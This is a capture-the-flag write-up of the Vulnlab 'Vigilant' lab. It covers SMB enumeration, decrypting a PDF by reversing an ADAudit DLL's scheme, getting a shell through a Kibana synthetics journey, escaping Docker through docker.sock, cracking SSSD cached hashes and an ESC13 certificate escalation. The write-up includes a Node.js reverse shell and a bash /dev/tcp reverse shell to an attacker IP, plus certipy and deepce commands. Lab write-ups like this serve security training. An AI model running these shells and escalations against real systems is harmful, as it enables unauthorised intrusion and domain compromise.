Sitemap

Vulnlab — Vigilant

11 min readApr 30, 2024

Vigilant a hard rated chained machine involved enumerating smb shares to find an encrypted pdf file, analyzing the ADAudit dll file to decrypt the contents of the file revealing credentials for kibana, using synthetic monitoring to obtain a shell on docker container, breaking out of the container through docker sock by creating a container and mounting the host file system, recovering hash from SSSD for a domain user and escalating to local admin on domain controller through ESC13

DC.vigilant.vl

PORT     STATE SERVICE           VERSION          
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-21 16:06:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldapssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
3269/tcp open globalcatLDAPssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.vigilant.vlc
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: VIGILANT
| NetBIOS_Domain_Name: VIGILANT
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: vigilant.vl
| DNS_Computer_Name: DC.vigilant.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-04-21T16:06:29+00:00
5601/tcp open esmagent
9200/tcp open wap-wsp?
| ssl-cert: Subject: commonName=instance
| Subject Alternative Name: IP Address:127.0.0.1, DNS:dc.vigilant.vl

SRV

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96c0d790bbcc7716c6e1a503f1ca5c25 (ECDSA)
|_ 256 1223dbbbd8563e14197104342c224965 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT 80

Visiting the webserver, it shows us one pager site having nothing out of interest

Press enter or click to view image in full size

PORT 445 (SMB)

Listing smb shares with anonymous user

Press enter or click to view image in full size

IT share can be accessed anonymously having password policy reoport which seems to be encrypted judging from the file name

On opening this file, it won’t be recognized by document reviewer as the contents of this file are encrypted

Decrypting the PDF File By Analyzing the Encrypt function

Since this report was generated by ADAudit tool, it’s possible that there might be something we need to grab from there, downloading ADAudit.dll file from share

Press enter or click to view image in full size

On analyzing the dll file with ILSpy we'll get the password for svc_auditreporter

Press enter or click to view image in full size

Verifying these credentials through netexec to see if they are valid

Press enter or click to view image in full size

We can also find what algorithm was used to encrypt the pdf file from ADAuditLib.dll

Press enter or click to view image in full size

For encrypting the contents, it’s using XORing with key and then performing bitwise operations, the key here is generated with the seed 12345 which will return the same value, afterwards it's shuffling the bytes with ShuffleBytes function and then writing the output, for decrypting it we can reverse the shuffling of bytes

private static void UnshuffleBytes(ref byte[] data)
{
for (int i = data.Length - 2; i >= 0; i -= 2)
{
byte b = data[i];
data[i] = data[i - 1];
data[i - 1] = b;
}
}

Reverse the XORing and bitwise part

for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
data[i] ^= array[i % array.Length];
}

The resulting code will look like this for decryption

using System;
using System.IO;
public static class DecryptionUtility
{
public static void DecryptFile(string encryptedFilePath)
{
if (!File.Exists(encryptedFilePath))
{
throw new FileNotFoundException();
}
byte[] data = File.ReadAllBytes(encryptedFilePath);
UnshuffleBytes(ref data);
byte[] array = GenerateKey(data.Length);
for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
data[i] ^= array[i % array.Length];
}
string decryptedFilePath = encryptedFilePath.Replace("_encrypted", "_decrypted");
File.WriteAllBytes(decryptedFilePath, data);
}
private static void UnshuffleBytes(ref byte[] data)
{
for (int i = data.Length - 2; i >= 0; i -= 2)
{
byte b = data[i];
data[i] = data[i - 1];
data[i - 1] = b;
}
}
private static byte[] GenerateKey(int length)
{
byte[] array = new byte[length];
new Random(12345).NextBytes(array);
return array;
}
static public void Main(String[] args)
{
DecryptFile("E:\\Password_Strength_Report_encrypted.pdf");
}
}

Running this will decrypt the file present us with 4 set of user creds

Press enter or click to view image in full size

Spraying these creds, we’ll get 3 valid hits and one user having password expired

Press enter or click to view image in full size

Enumerating the domain first to see if we can go anywhere from the users we have

python3 /opt/BloodHound.py/bloodhound.py  -u 'svc_auditreporter' -p 'pass' -d vigilant.vl -dc DC.vigilant.vl -ns 10.10.224.85
Press enter or click to view image in full size

We have pamela.clark belonging to TECHSUPPORTERS group

Press enter or click to view image in full size

Alex.powell belonging to ADTeams

Press enter or click to view image in full size

Edwin.Dixon in Accountants group

Press enter or click to view image in full size

And Daniel.Washington in MarketingStartegies group

Press enter or click to view image in full size

Accessing Kibana With Pamela

But this doesn’t further lead to anywhere on the domain, the domain controller has instance of Kibana running on port 5601, with Pamela’s password we can login

Press enter or click to view image in full size

Kibana is used for data visualization to detect patterns, monitor the environment, look for abnormal behavior, representing it in the form of graph and charts, here we are a superuser so we pretty much control over this instance of kibana

Press enter or click to view image in full size

But we need to figure out the agents using kibana and how to achieve access on those hosts, agents can be listed through Fleets http://dc.vigilant.vl:5601/app/fleet

Press enter or click to view image in full size

There are two agents, one is the linux server and the other is domain controller, so most likely we’ll be dealing with the linux machine as we have the integration for html page that we saw earlier

Press enter or click to view image in full size

Googling around a way to execute commands or get a shell from kibana lead us to nowhere until taking a hint from vulnlab’s wiki, that we can achieve it from Synthetics , which is used for monitoring and test if the web site is functioning correctly

Press enter or click to view image in full size

We already have the marketing page being monitored, we can run test scripts on this page, to do that we need to create what is called a monitor , there's already a monitor configured, which is using type script to visit the marketing page

Press enter or click to view image in full size

Using this script we can use file protocol to read local files like /etc/passwd

Press enter or click to view image in full size

As soon as this test will be completed it will take a screenshot, having the result

Press enter or click to view image in full size
Press enter or click to view image in full size

Getting a reverse shell through synthetic monitor

However just having the ability to read local files won’t lead us anywhere, we need to get a shell , the script that we have used it’s playwright, an open source nodejs library for browser testing, when using child_process to execute system command we'll get an error that only step definitions are allowed with inline scripts

Press enter or click to view image in full size

For using external packages like child_process, we need to create journey which is a complete step of doing something rather than creating a monitor which just checks if the page is loading correctly. According to the documentation we first need to initialize the synthetic project

Press enter or click to view image in full size
npx @elastic/synthetics init test

At initializing the project, we’ll be asked to provide the API key, generating the project API key from here

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

Modify the contents of example.journey.ts from the journeys directory

import { journey, step, expect } from '@elastic/synthetics';
journey('Ensure placeholder is correct', ({ page }) => {
step('Load the demo page', async () => {
await page.goto('http://10.8.0.136');
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(2222, "10.8.0.136", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
});
});

Using push to create this project, it will create the monitor

Press enter or click to view image in full size
Press enter or click to view image in full size

Wait for few minutes for the monitor to be triggered having netcat listener and http server ready

Press enter or click to view image in full size

From the filesystem, this seems like we are inside a docker container

Breaking out of container via docker sock

By running capsh we can list down the capabilities of the container but from the output it doesn't seem like it has a capability that we can abuse

Press enter or click to view image in full size

Since elastic-agent is part of root group, docker.sock can be mounted which can be used for communicating with docker daemon to mount the host file system

Using deepce we can breakout of docker utilizing docker.sock, to test it we can try reading /etc/shadow from the host by creating a container and mount the file system

Press enter or click to view image in full size
Press enter or click to view image in full size

We can run system commands on the host, so running a bash reverse shell

deepce.sh --exploit SOCK --command "/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.136/3333 0>&1'"
Press enter or click to view image in full size
Press enter or click to view image in full size

I placed my ssh public key to login as root just to get a proper shell as the container created didn’t had any binaries

Press enter or click to view image in full size
Press enter or click to view image in full size

Extracting cached credentials (SSSD creds)

From linpeas, we find that this machine is domain joined and cache credentials is enabled from /etc/sssd/sssd.conf , sssd is responsible for enabling the system to access authentication services such as active directory

Press enter or click to view image in full size

Linux systems joined with AD store Kerberos credentials locally in the credential cache file referred to as the ccache. By default sssd maintains a copy of cached credential in /var/lib/sss/db .

Press enter or click to view image in full size

With tdbdump we can read the contents of ldb cache file and we want to look for cachedPassword

Press enter or click to view image in full size

gabriel.stewart’s sha512crypt hash can be cracked with either john or hashcat

Press enter or click to view image in full size

Gabriel is a part of JUNIORADMINS group which is further part of REMOTE MANAGEMENT USERS

Press enter or click to view image in full size
Press enter or click to view image in full size

Again there are no acls or any special privilege given to gabriel

Press enter or click to view image in full size

Running certutil this machine has ADCS installed

Certificate templates can be enumerated with certify but I’ll be using the python version certipy as it had support for ESC13 added ly4k/Certipy#196

Escalating privileges through ESC13

certipy find -u gabriel.stewart -vulnerable -target DC.vigilant.vl -dc-ip 10.10.182.37 -stdout
Press enter or click to view image in full size

certipy finds one template which gabriel can enroll, with a linked group Temporary Admins having EKU set to Client Authentication, the template can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13

Press enter or click to view image in full size

Having this certificate we can become a local admin to domain controller

Press enter or click to view image in full size
certipy req -u 'gabriel.stewart' -ca 'vigilant-CA' -dc-ip 10.10.182.37 -target DC.vigilant.vl -template 'VigilantAdmins' -key-size 4096
Press enter or click to view image in full size

Requesting TGT with the certificate

Press enter or click to view image in full size

Now logging with winrm again but this time with ticket we obtained since as it represents that we are a member of temporary admin group

Press enter or click to view image in full size
Press enter or click to view image in full size

References

--

--

ARZ101
ARZ101

Written by ARZ101

Smol Pentester| OSCP | OSEP | gib AD | UwU

No responses yet